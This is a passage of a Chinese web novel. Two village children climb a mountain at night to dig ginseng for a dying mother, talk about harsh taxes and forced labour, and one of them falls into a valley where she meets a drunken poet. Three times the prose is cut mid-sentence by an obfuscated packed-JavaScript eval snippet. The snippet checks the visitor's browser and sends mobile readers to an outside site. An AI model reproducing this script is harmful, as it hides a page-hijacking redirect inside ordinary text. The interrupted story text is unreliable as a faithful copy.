今夜没有月亮,星子黯淡的光照不彻村里入夜的黑暗,谢阿春从没觉得去王二丫家的路这样难走,一路磕磕绊绊,等终于看到亮光时,一个高个子黑影正往院外走。 “铁柱!”王二丫娘马上叫了声,李铁柱却像没听见一样,脚步一刻不停,直直撞上了前来阻拦的二丫娘。 “铁柱,你上哪儿?”王二丫娘推了他一把,根本没推动。 “婶子,你别拦我。”李铁柱开口了,声音很奇怪,像是许久没开口说话的人一样嘶哑,又好像压了块大石头在胸口,说每一个字都要用尽力气。 “你这孩子,怎么这么倔!”二丫娘使劲推搡他,“这么晚了,你进哪门子的城?路上叫土匪劫去,你娘怎么办!” 李铁柱像是真的变成了一根铁做的柱子,僵硬地杵在那里,他背着光,谢阿春看不清他的模样,只好像看到有一滴反光的水渍,掉进了他的衣襟里。 “铁柱,你不能挡在这儿,”谢平安望着李铁柱的眼睛,缓声道,“就算要进城找大夫,也不用你去,先让我们进去看看你娘,兴许没到那地步。” 谢阿春一直觉得,谢平安的声音有一种叫人不由自主安定下来的力量。他说完后,李铁柱又站了片刻,终于往旁边挪了一步。 “阿春,你留在这里陪铁柱。”谢平安嘱咐完她,跟着二丫娘一起进了里屋。 谢阿春看了看一旁垂着头的李铁柱,这次没有异议。 “李铁柱。” 今夜太安静了,连螽斯都不叫,谢阿春没话找话:“你还好吧?” 李铁柱不动,也不答,就那样低着头,总是鸡窝似的发髻更加乱蓬蓬,几簇头发斜楞着,谢阿春莫名觉得他有点可怜。等反应过来,一只手已经摸上了他的头。 掌心下的头发粗粝,硬茬茬的,有些扎人,和李铁柱这个人给她的感觉一样。 李铁柱浑身一僵,谢阿春忙收回手:“对不起……” 李铁柱没有生气,反而抬起了头,屋里洒出的烛光照亮他侧脸,谢阿春清晰看到他眼里遍布了红血丝。 “我没事,”李铁柱看了一眼屋里,“吵到你和你哥了,本来该睡觉的时辰。” 谢阿春和他不对付久了,突然这么和谐,有些不习惯:“没事啦……你娘……婶婶她病多久了?” “挺久了,我娘身体一直不好,月前我爹过世后,就更差了。” 哪壶不开提哪壶。谢阿春后悔得想抽自己嘴巴,怕再说错话,干脆闭上嘴。 这会儿功夫,谢平安已从屋里走出,言简意赅道:“家里还有的药,先给婶子用上,灌进去多少是多少,等下王婶去水牛家问问,他爹常上山挖药材,家里应该还有人参,先借来煮点参汤……我现在就进城。 ” 谢阿春一听急了:“你真要进城?这么晚,怎么去?” “我走水路,打渔的陈叔就住渡口边,他要是不想去,我就借他的船,水路快,一来一回三个多时辰,等我回来,天也该亮了。” 谢平安安排得井井有条,谢阿春恍惚回到了林婶和谢叔走的那两年,那时谢平安还小,但已经和今天一样,能熟练地照顾大人,甚至给他们办丧事。 林婶走的那一年,谢阿春还瞧见过谢平安背着人偷偷掉泪,等谢叔也去时,他已经不哭了。 谢平安说完就动身,谢阿春追着他走了几步,只叫了声:“谢平安!” 谢平安回头一笑:“放心,我很快就回来,你陪着铁柱照顾李婶,不要乱跑。” 谢阿春在原地站了许久,直到目送着谢平安的身影彻底融入黑暗。 二丫娘很快从水牛家去而复返,却空手而归。 “水牛爹这几日下雨腿疼,都没上山,”她叹了口气,“他说山南瀑布边好多山参,城里的大夫都说那是吊命的好东西,可惜他前不久刚卖了一批,家里一个也不剩……” 李铁柱坐在床边喂药,床上的女人面如金纸,盖着厚被子也是薄薄一层,毫无血色的唇边都是喂不进去的浓黑药汁。 李铁柱一咬牙,忽然站了起来:“我去挖。” 王二丫娘瞪眼:“你、你去挖?你知道在哪儿吗?” 李铁柱把碗塞给她:“劳烦婶子给我娘喂药。”迈开步子就往外走,二丫娘在后头直叫,“这么黑,你摔山沟里可怎么办,铁柱,听婶子的话——” “那我就干坐着,等我娘咽气吗?”李铁柱几乎是吼出了声。 “李铁柱!”谢阿春皱眉,“你乱发什么火?” 李铁柱攥紧了拳头,额上青筋直冒,他抹了把脸上的不知是汗还是什么别的水渍,闷声道:“对不住。”而后一头扎进了门外沉沉的夜色里。 “等等,我和你一起去!”谢阿春跟着追了出去。 “哎哟,阿春,阿春!你怎么也跟着凑热闹!”二丫娘急得直跳脚,又追不上两个小孩,看看身后床上的病人,又看看越跑越远的两人,连声哀道“造孽”。 李铁柱脚程极快,谢阿春不过晚了片刻,他已经走出老远,谢阿春奋力倒腾两条腿,两人间的距离却不见缩小,反而越来越远。 “李铁柱,等等我……啊!”谢阿春只顾着看他背影,没看脚下的路,狠狠摔了一跤,她龇牙咧嘴地爬起来,又追上去。 这次终于赶上了。 “你走那么快干嘛!”谢阿春呼哧带喘地跟在他旁边。 李铁柱一点眼神都不给她:“你回去。” 谢阿春嗤道:“那你别等我啊。” 李铁柱僵了一下,脚步又重新加快起来,谢阿春“哎”了两声,又趔趄着追了上去。 清溪村就在会稽山脚,若是走得快,半个时辰就能到山腰。谢阿春和李铁柱两个一路走一路拌嘴,等到山腰时,云破月出,照得山道亮亮堂堂,李铁柱的心情也舒缓不少。 他走在谢阿春身前,手里拿了一根路边捡的树枝,一边走,一边敲打着山道两边草丛。 “你见过蛇吗?”谢阿春有阵子没上山,这会儿也新鲜,踩李铁柱的影子,一蹦一跳地走。 李铁柱答道:“不仅见过,我还吃过呢。我爹还在的时候,经常烤蛇肉给我吃。” 谢阿春奇道:“你爹是做什么的呀?” “打铁的,山阴县城有名的铁匠。”李铁柱的声音不由自主带上几分骄傲。 谢阿春道:“那你家一定很有钱吧。” 李铁柱:“有没有钱又怎样,匠籍比奴籍也好不到哪去……不过爹还在的时候,我也是上学堂的。” “你?”谢阿春故作惊讶,“没想到啊,李大侠,你不是要闯江湖吗,还念书干嘛?你应该去学武呀。”她跳到李铁柱身前,挥拳踢腿比划了几个架势。 李铁柱晲她一眼:“谁说大侠不念书,大侠不念书,行走江湖不叫人笑话吗?”绕开谢阿春继续往前走。 谢阿春在他身前探头探脑:“我知道了,你想当那种,穿个白衣裳,拿把扇子,‘唰’一下飘着出场的大侠,再摘几片叶子,嗖嗖嗖,人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢阿春叹了口气:“为什么一定要会背书呢?依我看,会背书的人不一定能当好官,就比如山阴每年夏天都涨水,动不动淹田,谢平安说有当官的在管,管到哪里去了?我看就是只会背书,脑子都傻了!” 想了想,又公报私仇地添了一句:“要我当了官,我就下令全天下的人都不许背书!” “那你光当官可不够,你得当皇帝,”李铁柱嗤道,“我说,你还是别想这么多了,不说燕朝二百年没出过一个女子为官的先例,就说你一没家世二没门第,那些中正官看都不会看你一眼,你上哪儿当官?” 谢阿春走得有点饿,想起怀里还有陶清远给她的梅干,便掏了出来。 李铁柱目光移到她手上:“你那个娇娇弱弱的少爷朋友,想当官才有些可能。” 谢阿春手以为他想吃,把装梅干的袋子递到他眼前:“来一个?” 李铁柱冷笑一声转过头:“我才不吃他们的东西,恶心。” 谢阿春奇道:“你怎么好像很讨厌陶清远,他是娇气了一点,但人不坏,你和他玩玩就知道了。” 李铁柱听得更气闷:“谁说我讨厌他了?所有家里有钱,有权有势的人,我都讨厌!” “这些人成日里过得快活,赋税可以不交,徭役可以不服,特别那些世家子弟,要是想当官,就算人是头猪,都能捞着个一官半职!凭什么?” “苦日子都让本来就苦的老百姓过了,你没听那个姓陶的今天说,他家在山上有园子?王二丫爹原本是打猎的,你知道吧?就是因为这些富户动不动占山圈地,山上能去的地方越来越少了,要都归了他们,普通猎户往哪儿活?” 谢阿春不料他一下说了这么多,还都是她过去不知道的事。谢平安很少和她说外头怎样,她虽也听人提起过几年前世道多乱,但到底没经历过,骤然听了这些,不禁有些发愣。 “你怎么知道……” 李铁柱哈了一声:“我怎么知道?因为我见过!几个月前,我爹为了躲徭役,想故意摔断一条腿,他确实躲过了,因为他伤得太重,没多久就病死了!你敢信吗,他就是这么死的!” 11. 第 11 章 谢阿春从未想到会听见这样的答案,她知道人会死,她见过病死的人,老死的人,却是第一次见到被世道逼死的人。 人竟可以死的这样轻率么? 谢阿春脑子一时纷乱如麻:“徭役……真的这么可怕吗?” 赋税,徭役。这两个词,她有时也会从村里闲话的大人口中听到。他们提起这两个词时,总是压低声音,皱紧眉头,两个头挨在一起,仿佛在密谋什么大事,眼神也比往常尖了许多,谢阿春还没走近细听,就被他们发现了。 她其实不太懂这两个词的意思,也并不理解大人们谈到它时,为何总要“密谋”。 李铁柱冷笑:“可不可怕,要看对谁,对世家子弟,当然不可怕,可对我们这些人,说可怕都轻了。”他回头看了眼谢阿春,眼神颇为复杂,“看来你哥真的把你保护的很好。” 但李铁柱不是谢平安,他从不隐瞒。 于是,谢阿春便听着他,从六年前柔然人攻破洛阳,皇帝弃城南逃,天下大乱开始说起。说到皇帝刚渡江,就在乱军中丢脑袋,皇室子弟几乎被杀尽,只有一个痴傻的小儿活了下来,被几个世家大族拥立上了皇位。 又说到两年后,柔然人内乱,南地世族萧家领兵渡江,与北地义军合力,将柔然人赶出了京师,又用了一年,彻底平定中原叛乱,将皇帝从建康迎回了洛阳。 “那呆子皇帝你知道,就是如今上头那位,这狗皇帝,要说他不傻,没见过哪个皇帝做得和他一样窝囊,这天下与其说姓李,不如说姓萧;但要说他傻,他又一点不苦了自己,这几年建的行宫一个比一个多,赋税加了又加,简直猪狗不如。” 李铁柱咒骂道:“要我说,这皇帝不如给萧将军去当,若是他做了皇帝,平城以北肯定也早就收复了,边关哪里还用得着连年和柔然人打仗?”李铁柱越说越激动,“那狗皇帝也不会惦记着修什么劳什子的长城!” 谢阿春惊了:“修长城?” “对,谁都知道那是多死人的活儿!我爹就是听人消息,说今年服徭役的,都要送去修长城,才想冒险,可谁想的到——” 他扯了扯嘴角:“这世道不给我爹活路,再过两年,指不定我和我爹一样的下场。” 谢阿春一怔:“你也要服徭役?” 不是大人才要去吗? 李铁柱怪异地看着她:“当然,十五岁就是成年男丁,赋税徭役一个少不了,你哥没告诉你吗?” 谢阿春脑子“轰”一声一片空白,好一会儿没动弹,直到胳膊被人掐了两把,才浑浑噩噩抬头,望见李铁柱关切的神色。 “你没事吧?” 谢阿春缓慢地动了动身子,才发现自己坐在地上:“……我没事。” 心里却恍然地想,原来这才是谢平安一直瞒着她的事。 怪不得他总说什么让她照顾好自己的话,怪不得他总想着和陶家拉关系…… 若他和李铁柱的爹一样去北边修长城,他还能回得来吗? “你不会晚上没吃饭吧?”李铁柱把她拉起来,还是十分担心。 谢阿春低着头:“真没事,我听见瀑布声了,给你娘找药要紧,快走吧。” 谢阿春几乎逃一样地去了前头引路。 月亮不知道何时又被浓云遮住了,山道黑黢黢一片,谢阿春深一脚浅一脚地迈过杂草,草鞋沾了泥土,越走越沉。 好在没多远就到了他们要找的瀑布下,阿春没来过这里,但却经常来这附近的云门寺。作为整个山阴都有名的寺庙,云门寺香火颇盛,每年浴佛节,谢阿春都跟着谢平安上山烧香。 在寺里,四下悄寂时,她常听到隐约的流水声。如今站在瀑布下,水声轰鸣,寺里的声响是一点也听不着。 李铁柱说话都要用喊:“我去那边找找,你小心些,这里石头滑,别摔了。” 谢阿春与他分头,顺着崖壁摸索着。 过去谢平安也曾上山挖过药草,她出于好奇跟着来过几回,却并不熟练。 想到谢平安,方才的事又浮上心头,谢阿春心绪不宁,一不留神就越走越远。 飞驰而下的瀑布落成一方水潭,又顺着山势蔓延成溪流,汇至山下,便成了淌过村子的若耶溪。 谢阿春越往前,水流越缓,四周植被茂盛起来,石头上也生出青苔,谢阿春隐隐有预感,她或许就要找到了。 有风从侧方吹来,带着丝丝水汽的沁凉,拂去了她一夜奔波的疲热。 谢阿春向着那边靠近,拨开杂草与丛生的乱木,风陡然一烈,吹得她忍不住抬袖遮眼。 眼前竟是一处断崖,下方浓白的雾气翻滚,不知其深。 谢阿春探头望了望,眼睛骤然一亮。下方不远处,一棵枯死的老松从崖壁里挣出,就在它僵死的身躯旁,一株形似人参的植物紧挨着它,迎风屹立。 “应该就是人参吧!”谢阿春琢磨,林婶和谢叔当年病时,那些赤脚大夫都把人参吹成救命灵药,这种“仙丹”一样的药材,长在险境十分合理。 谢阿春认定后,开始思考怎么下去,转了一圈,也没找到什么藤蔓一类的东西,干脆解下外衫的束带,一头捆在树上,一头在腕上缠了几圈,攥紧。 做好这些准备,谢阿春便大着胆子探出一只脚,小心翼翼地踩在枯松上,伸手去拽那棵人参。 崖边风烈,枯松被她踩得咯吱作响,那株人参也摇摆着,几次都从她掌心擦过。 谢阿春有些急了,脚下用力,又往前探出一截身子,就在这时,身后忽然响起李铁柱一声大喝:“阿春,回来!” 谢阿春吓一跳,脚下的枯松仿佛也因这声震如雷的一句受了惊,在她揪住人参的刹那咔嚓断裂,带着她往下坠去! “阿春!”李铁柱闪电一般扑来,拽住了绑在树上的那条腰带,“抓住我!” 他努力伸长手臂,谢阿春抬了抬手,才摸到他指尖,腰带便不堪重负地响起裂帛声。 谢阿春还来不及呼喊,视野里探出大半个身子的李铁柱便迅速变小,消失在层层浓雾之间。 耳边呼啸的风声划过,很快,连李铁柱的呼声也听不见了。 …… “扑通——” 谢阿春没落多久,就一头栽进冰凉的水中。 幸运地没被砸晕,凭借上好的水性,呛了几口水后便浮出了水面。 “咳咳……”谢阿春爬上滩涂,湿淋淋地咳了起来。 脚上一只草鞋不知被水冲到了哪里,谢阿春手里却依旧紧紧攥着那株人参。叶子浸了水,蔫头耷脑地垂着,冷风一吹,她和叶子一起抖了抖。 谢阿春抬头看了看,她似乎掉进了一片山谷的水潭里,上方浓雾翻涌,遮星蔽月,看不到一点光亮。 得想办法出去。 她这次闯了大祸,要是不能赶在谢平安回家前回去,不敢想谢平安会成什么样。 谢阿春三两下脱掉湿重的外衫,扯开长发拧了拧水,拆发髻时没轻没重,揪断好几根发丝,她也懒得管,蹬掉孤零零的那只草鞋,披散着头发,穿着一身单衣就往岸上走。 浅滩上都是大小不一的石头,被水流冲刷得没了棱角,踩上去一不留神就摔倒,谢阿春越急越摔,越摔越急,身上都磕青几块。 涉水上岸时,谢阿春发现一圈灶台般垒起的石头,石头黑黢黢,仿佛经常被烟熏火燎,她拿手抹了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644020|172734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把,摸了满手厚厚的灰。 这里定是有人常住,且看样子,还经常来这岸边生火起灶。既然如此,想必住处也不会太远,等找到人问问路,就可以出去了。 谢阿春心里有了底,接下来就格外留意有人迹的地方。竟当真发现一条明显被踩出的小路,顺着走了片刻,一座竹篱小院赫然映入眼帘。 昏黄的烛火从一间竹舍透出,仿佛能驱散身上的寒意,谢阿春喊道:“有人吗?” 连着唤了几声,都没人应,谢阿春干脆走进院里。 这院子并不大,甚至可以说得上简陋,除了那点灯的主屋,还有紧闭的窗下堆着的几坛酒,别的什么也没有,简直不像有活人住。 谢阿春甚至疑心,这荒山野地,莫不是撞邪了? 她大着胆子敲了下门,“吱呀”一声,门轻轻一碰就开了。谢阿春探头一瞧,好消息是没有鬼,坏消息是,连人也没有。 只有一张床帐,还有靠窗摆的一副桌椅。微弱的烛光就跳跃在桌角的灯台上,许多蜡油堆积在台底,溢出的顺着灯台流淌下来,有的早已凝固,有的在桌上烫出凄红的印子。 但没有人在乎,就和这间无人问津的屋子一样。 “有人吗?”她又问了一遍。 谢阿春上前掀开床帐,床上胡乱堆着几件衣衫,瞧着是成年男子的式样——这屋子的主人竟然连个装衣服的地方都没有,就这样把衣服乱扔。 谢阿春想起谢平安每每总是把衣服洗得干干净净,叠的整整齐齐,太阳好时还会拿出去晒晒,无论何时拿出来穿,都有很好闻的皂角气息,和这个人完全不一样。 她放下床帐,环顾一圈,忽然被桌上的纸吸引了视线。 桌上铺着一张宣纸,墨迹还未干,毛笔随意地丢在砚台里,溅洒出的墨汁污了字迹,却依稀还能辨认,写的是: “笑舞狂歌五十年,花中行乐月中眠。 漫劳海内传名字,谁信腰间没酒钱?” 谢阿春字认的囫囵,这首诗却再熟悉不过。当年林婶去后,谢叔常常宿醉,醉必写诗,每逢写诗,必有这一首。 但这屋主还添了后四句,谢阿春努力认着上头的字,似乎是: “醒同青山相对饮,醉与仙人骑鹤眠。 功名旧事皆轻掷,莫与活人论长短。” 谢阿春不懂得字好看不好看,只觉得当初谢叔写的字总和他的人一样愁苦,这副字的笔触虽凌乱,却更叫人心惊。 她看向卷末,没有看到落款,也不知写这字的人姓甚名谁。 忽然,谢阿春把脸凑近纸面,鼻尖闻到一阵酒气。酒气这样明显,写这副字的人肯定喝了不少酒,应该走不远。 她出了门,仔细嗅了嗅,竟真的闻到一丝若有似无的酒气,顺着这残留的味道,来到院子后的一片竹林,果然,这里的酒气更重了。 再走两步,就看到地上横七竖八地散着酒坛,不远处,山上流下的溪水汇成一方水潭,一个青衫男人卧在岸边,长发披散,胸口衣襟大敞,露出的皮肤几无血色,在夜色里都白得惹眼。 那人青衫袖口上沾了些墨渍,酒气与墨香混杂在一处,气息陌生又强烈,令谢阿春不由得心悸。 男人躺在那里,好像连呼吸的起伏都没有。谢阿春疑心他是不是还活着,走近两步想细看,低头时,他却忽然把眼睁开了。 猝不及防,谢阿春对上一双满是清冽锋芒的眸子,她正要后退,那双眼却又蔓上醉色,变得氤氲而朦胧起来,仿佛那一刹那的锐意从不曾存在。 谢阿春的衣袖一紧,竟被他抓住了。 他仰头望着谢阿春半晌,忽地一笑:“你怎么才来?” 12. 第 12 章 谢阿春本以为写得出那样诗句的人,与谢叔应当差不多年岁,却没想到此人样貌竟颇为年轻,似是介于少年与青年之间。一瞬不瞬望着她笑时,眼神与潭水里的波光一样粼粼动人。 谢阿春日日对着谢平安的脸,自觉这世上已经没什么长相能再让她觉得惊艳,但这会儿看着眼前人,居然有些发愣。 那人又开口了,声音不似谢平安清润,却另有一分潇洒醉意:“小鹤仙,可是老君派你来引我相游太清?” 谢阿春愣了愣,一头雾水。 他见谢阿春不说话,竟拽着她挣扎着坐了起来,一时搅得潭里水花四溅,谢阿春衣服本就不干,这下更是雪上加霜。这人倒浑不在意,拉住谢阿春不让她躲,东倒西歪地坐着,问道:“小鹤仙……小仙人……你怎么不说话?” 谢阿春看了看自己披头散发,白色单衣半干不湿的模样,不明白这落魄形容与仙人哪里沾边。 忍不住道:“你喝醉了。” 男人摇摇头:“我没醉……” 谢阿春犯了难,她没有处理醉鬼的经验,先不说谢平安不饮酒,就连谢叔也没有喝这么多过。 何况谢阿春其实很不喜欢酒气,谢叔因着这个缘由,后来就算喝酒,也一定避着她。 谢阿春忍不住皱眉,男人瞧见她皱眉,忽然顿了顿,没头没脑道:“小仙人也有愁绪吗?” 不等回答,他自顾自地点头:“也对,天上不过是另一个人间,天上不过是另一个人间啊……” 他摇摇晃晃地站起来:“小仙人可会饮酒?我带你去尝尝我最好的陈酿,一口下去,保管你什么愁都没啦……” 他一起身,谢阿春才发现他身量颇高,醉酒之人力气也大,谢阿春被他拽得踉跄,不由得道:“你少喝些吧,那些大夫都说,饮酒伤身——” “这话怎和那些俗人一般,如此扫兴……”男人摇晃两下,站住脚步,回头看向谢阿春。 此刻雾气渐淡,天上隐有星月,他似乎终于瞧见谢阿春的样子,眼里清明些许,那点兴味也迅速消散。 “原来是个活人……”他神色失望,一挥袖,“活人来此作甚,快些离去,莫扰我清净……” 谢阿春道:“我是误入!你知不知道我走哪里能出去?” “从何处来,便从何处归。” 他懒散地应着,朝她挥挥手,便脚步蹒跚地往前走去。 谢阿春有些气闷,本不想再理会这个醉鬼,可又怕附近再没旁人,只得跟在后头。 男人晃晃悠悠走在前面,他身形清瘦,那身青衫穿在身上愈发显得宽大,山风一来,袍袖飞扬,好似将要融入这苍翠竹海。 他走路歪歪斜斜,时不时扶一下竹子,时不时干脆摔上一跤,偶尔还仰头长啸两声,奇怪极了。 谢阿春从来没见过这样古怪的人,她跟了一路,初时觉得好笑,可时间久了,瞧着那一身伶仃的青衫在夜色里踉踉跄跄走着,又想起那个雪洞似的屋子,不知怎的,忽然有些难过起来。 她想起很多年前,村子里曾经来过一个云游老道,白胡子,破道衫,跛脚扛幡,挨家挨户讨吃的。那时谢叔病了有一阵子,谢阿春用一碗粳米和他换了个符咒。老道告诉她,只要在有月亮的晚上,在地上画下这个符,心里想什么都能成真。 谢阿春深信不疑,数不清多少个夜晚她悄悄起来,对着院子里白惨惨的月亮,独自一人在院子里画符,想让阎王爷不要像带走林婶一样,把谢叔也带走。 可谢叔还是走了,这世上于是又少了一个爱她的人。 她渐渐长大,不再相信老道士骗小孩的话,但这个习惯却留了下来。往后每个睡不着的夜晚,她都常去院子里,拿一根树杈,划拉着神仙看不懂的符咒,漫无边际地许着一个又一个没人会替她实现的愿望。 要是有人看到,也会像她看这个人一样,觉得古怪又可笑吧。 走在前头的人好像越来越醉了,他身形左右摇晃两下,忽然往一旁栽去,眼看要磕上石头,谢阿春终于没忍住,冲上去扶住了他。 但她一个小孩,哪里支撑得了醉鬼的重量,努力顶了半晌,还是被他咚地压趴下。 两人双双摔在泥地里,谢阿春艰难地从他身下爬出来,男人还仰面躺在地上。 他睁开惺忪的醉眼,有些意外:“……你怎么还没走?” 谢阿春也答不上来,闷声去扒拉被男人压在身下的人参,却根本扒拉不动。 像是终于发现她在找东西,男人长叹一声,坐起了身:“找什么呢?” 谢阿春一眼看到被他几乎快压扁的人参,蓦地涌起一阵委屈,她为了摘这东西,又是坠崖又是游水,费了这样大的力气,现在都不知道还能不能要了。 男人一见她这副模样,顿时酒醒了不少:“你不会要哭吧?别别……千万别哭啊!什么东西值得你这么宝贝?我赔给你行吧?” 谢阿春带着哭腔控诉:“你把我辛辛苦苦摘来的人参弄坏了!” 男人低头看了看,伸手一指:“你管这叫人参?” 他哈哈一笑:“小丫头,这才不是什么人参,你莫不是被人骗了。” “不是人参?”谢阿春愣住了。 “你要摘人参?” 谢阿春点点头:“我家里有人病了。” 男人打着哈欠站起身:“跟我来。” 谢阿春跟着他来到竹林边上的山壁下,男人一抬下巴:“去摘吧,那儿都是。” 谢阿春上前一看,震惊不已,这崖下竟有一大片山参!虽然看着和刚才她摘的有点相似,但确实完全不一样。 手里的攥着的“人参”顿时被她扔到了地上,谢阿春投入地扑了过去,顺着山脚,一边走一边挖,用外衫兜了好些个。走着走着,还发现一丛杜鹃花。炽热的红仿佛一团映入眼里的火,艳丽又好看。 她心中一动,摘了三朵,花瓣犹带着露水。回到原地时,青衫男人已经不知去向。 她来到院里,竹舍里的最后一盏灯也灭了,她隔着门叩了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644021|172734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叩,屋里传来一声懒洋洋的回应:“出了院子,往东一直走,穿过竹林,从西面窄坡上去,有个洞口,往里走,出去就能下山。” 这是把出去的路告诉她了,谢阿春如今似乎没有理由再留在这里,但她莫名不想就这样走,于是喊道:“谢谢你带我找人参。” 屋里人没有回答,安静得仿佛就没有人。 “我摘了几朵花,送给你作为谢礼。”这是谢阿春头一次给人送礼物,她也不知道为什么,只是觉得这地方,从人到院子,都太单调了。 如果能有些花花草草的点缀,想必就没这么冷清了。 那人没有声音,谢阿春倔劲儿上来,又连着拍了好几下,但无论谢阿春怎么拍,那人都不再说话,像是劝她知难而退。 谢阿春气闷地原地坐下,在门口又坐了一阵子,直到被夜风冻得打了好几个喷嚏,那扇门还是没有打开。 谢阿春怕再呆下去,谢平安该回来了,就把花匆匆放在了门口,想了想,又搬来一坛酒压着花梗,免得被风吹跑。 最后看了一眼漆黑寂静的屋子,谢阿春转身离去。 顺着男人指的路,她无惊无险地出了山谷,出口在一片繁花茂盛的林子里,谢阿春长这么大,都不知道山上还有这片地方。 她看了看天色,时辰尚早,料想谢平安不会回的这么快,便放下心神,不紧不慢地往山下赶。她推测李铁柱见她掉下去,肯定不会在原地干等,必然要下山搬救兵。 果然,才下山,她就在两人上山的村南口见到了徘徊的李铁柱。 “李铁柱!”她唤了一声,等李铁柱转头看来时,骄傲地扬起那一兜山参,邀功似地一笑。 李铁柱脸色猛地一变,快步走来牵住她衣角,上下看了又看,良久才吐了口气:“幸好没事……” 谢阿春笑嘻嘻:“我才不会有事,倒是你,怎么谢我找来的这么多人参?” 李铁柱神色却古怪起来:“待会儿再说这个吧……” “你可能马上就要有事了。” 不等谢阿春发问,山上突然传来嘈杂的声响,她回头看去,只见星星点点的火把亮起在山野间,好似天上掉下的火种遍地点燃。这阵仗,比那天她见到找陶清远的有过之而无不及。 “你但凡,”李铁柱叹了口气,“再早回来一刻呢?” 谢阿春心里渐渐升起十分不好的预感。 李铁柱道:“不仅是村里的人,你哥都跑去溪北,把陶家人也叫出来了……” 谢阿春脸色一白,浑身血液霎时都被冻住,脑子里只有两个大字——完了。 “阿春……?”身后传来一个极轻的声音,像是怕再大声点她就散了。 谢阿春回头,只见谢平安怔怔站在那里,他跑得衣襟乱了,脸也脏了,就连总梳得齐整的发髻,也蹭满了零碎的草叶与灰尘,整个人是从没见过的狼狈。 谢阿春仿佛没了舌头,好半晌才道:“谢平安……” 谢平安手里的火把应声落地。 13. 第 13 章 谢平安走在前面,谢阿春跟在后头。 时不时地,谢阿春抬头看上一眼,心里默默打鼓。从刚才她就觉得反常,她闯了这么大的祸,按常理肯定要挨说,谢平安居然反常地一言不发。 这能怪她吗? 谢阿春悻悻地踢着石子,谁知道正好有个城里来的大夫在附近行医?都怪谢平安回来的这么快,本来什么事都没有! 两人维持着诡异的寂静回到家中,天边已经泛起鱼肚白。 谢平安沉默地舀水,洗掉手脸的灰尘,又给她盛好水,独自一人进了屋。谢阿春没心思洗脸,跟着他进去,只见谢平安正在给她铺床。 她进来时,谢平安恰巧铺好,与她擦肩而过。谢阿春又跟着他去了东厢,谢平安像没看见她似的,自顾自换了件干净的外衫,转身去了厨房,烧火起灶,煮起早饭。 晨光尚浅,狭小的厨房有些灰暗,只有灶台里暖红的火舌跳跃着,映在谢平安沉静如水的侧脸上。 谢阿春搬个马扎坐在他身边,看看灶火,又看看他。 灶台里的火熊熊烧着,烤得人又干又热,谢阿春只呆了片刻,就热得焦躁。 她鼻尖泛起汗珠,再看谢平安,鬓发也湿哒哒黏在脸上,混着不知哪儿蹭的尘土杂草,越发显得不修边幅。 谢阿春瞧见他这副样子,没来由地气闷,叫了声:“谢平安。” 谢平安蹭地站起身,掀开锅盖,取出昨夜剩的几样菜,又盛了一碗粥晾在旁边。 “谢平安!”见他不看自己,谢阿春又叫道。 谢平安熄了灶火就往外走。 谢阿春恼怒地追出去,在院门前拦住他:“谢平安,你干什么?” 谢平安平静道:“昨夜麻烦邓夫人帮忙,我去给人道谢。” “你知道我说的不是这个!谢平安,你有不高兴,直说就是,做这副样子给谁看?” 谢平安看了看她:“我没有不高兴。” 谢阿春气笑了:“谢平安,你当我瞎?不就是我没听你的,跑出去跟着李铁柱上山,但我这不是什么事都没有吗?你闹什么脾气?” “你说得对,”谢平安顿了顿,道,“你一直都这样,爱玩爱跑,小时候更危险的事也不是没做过,但你总能平平安安地回来。” 谢阿春心里舒坦几分:“你既然知道,就别奇奇怪怪的,连个笑脸都没有……” 谢平安于是笑了笑,平心而论,他这张脸做什么表情都好看,笑起来更是叫人如沐春风地熨帖,但谢阿春这会儿怎么看怎么碍眼。 “笑过了,我可以走了吗?” 谢平安说完就往前走,谢阿春肚子里还有一堆话,今日几次三番被他忽视,怒气终于积攒到一个顶点。 “谢平安!”谢阿春用力拽住他,正打算骂上两句,却忽然顿住了。 谢阿春张了张口,良久才道:“……你抖什么?” 掌心下的手腕正微弱地颤抖着,这抖动的幅度实在太小,如果不是她握住谢平安,根本不可能发现。 谢阿春觉得自己其实很细致。 她能发现村南林子里新来了哪种鸟儿,能发现它们筑巢时用了什么材料,窝里又添了几只新崽。 可她好像永远发现不了谢平安在想什么。 谢平安的情绪,就像他那总是束得严丝合缝的领口一般,向来裹得严严实实。谢阿春不是第一天知道,却每每总是因此和他争吵。 但今日,她忽然生不起气来了。 谢平安背对着她,低垂着头,他肩膀颤抖得越来越厉害,谢阿春竟有些不敢看他的脸。 谢平安用了点力气想抽手,谢阿春忙攥紧了,却也不知道说些什么。 两个人就这般站在院里僵持,久到日头渐升,早鸟不啼,远处村里缓缓飘起炊烟,谢阿春终于先熬不下去。 “谢平安,”她有些委屈地放缓声音,“饭凉了,你去热热。” 见谢平安不说话,她急忙又道:“我不要吃剩饭!上回吃剩饭我肚子疼,你忘了?我要是生病了,小心林婶谢叔又托梦说你不好好照顾我。” 一声长叹。 